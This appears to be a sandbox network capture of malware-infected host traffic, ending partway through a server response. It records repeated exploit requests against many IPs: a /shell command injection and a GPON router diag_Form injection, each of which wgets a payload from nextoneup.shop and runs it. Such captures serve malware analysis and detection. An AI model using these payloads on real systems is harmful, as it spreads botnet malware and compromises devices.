Apr 14, 2024 04:01:27.153453112 CEST	507	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:26 GMT Server: Apache/2.4.34 (Ubuntu) Content-Length: 278 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 34 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.4.34 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1625	192.168.2.23	54474	18.65.145.26	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.969784021 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.249711990 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:27 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1626	192.168.2.23	46036	51.89.47.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.001310110 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.312271118 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1627	192.168.2.23	53054	162.55.56.237	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.027977943 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.355288982 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:27 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1628	192.168.2.23	50826	23.202.130.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.030786991 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.370809078 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:27 GMT Date: Sun, 14 Apr 2024 02:01:27 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 39 65 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 37 26 23 34 36 3b 64 34 34 35 30 62 31 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 66 39 65 33 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 37 26 23 34 36 3b 64 34 34 35 30 62 31 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5f9e3617.1713060087.d4450b1c<P>https://errors.edgesuite.net/9.5f9e3617.1713060087.d4450b1c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1629	192.168.2.23	52916	212.63.88.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.749620914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1630	192.168.2.23	49958	202.101.6.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.749689102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1631	192.168.2.23	57524	178.141.36.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.749742985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1632	192.168.2.23	41868	94.184.206.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.749799013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1633	192.168.2.23	40642	216.55.150.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.606359959 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.829039097 CEST	302	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:28 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive X-DNSBL: Scanners Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1634	192.168.2.23	39956	18.172.27.189	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.645299911 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.905987024 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:28 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1635	192.168.2.23	53110	193.233.227.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.733047009 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.085057974 CEST	439	IN	HTTP/1.1 401 Unauthorized Date: Sat, 03 Jan 1970 12:06:12 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close WWW-Authenticate: Digest realm="N5", nonce="U2F0IEphbiAgMyAxMjowNjoxMiAxOTcw" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 73 68 65 6c 6c 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /shell from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1636	192.168.2.23	56446	99.84.106.151	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.821455956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.045562029 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:28 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1637	192.168.2.23	52756	123.57.46.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.052515030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1638	192.168.2.23	41992	104.106.111.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.053004026 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.382716894 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:29 GMT Date: Sun, 14 Apr 2024 02:01:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 63 37 32 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 39 26 23 34 36 3b 33 64 66 32 62 35 32 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 63 37 32 36 35 35 66 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 39 26 23 34 36 3b 33 64 66 32 62 35 32 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8c72655f.1713060089.3df2b52<P>https://errors.edgesuite.net/9.8c72655f.1713060089.3df2b52</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1639	192.168.2.23	39754	85.120.223.218	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.057260990 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.411731958 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:29 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 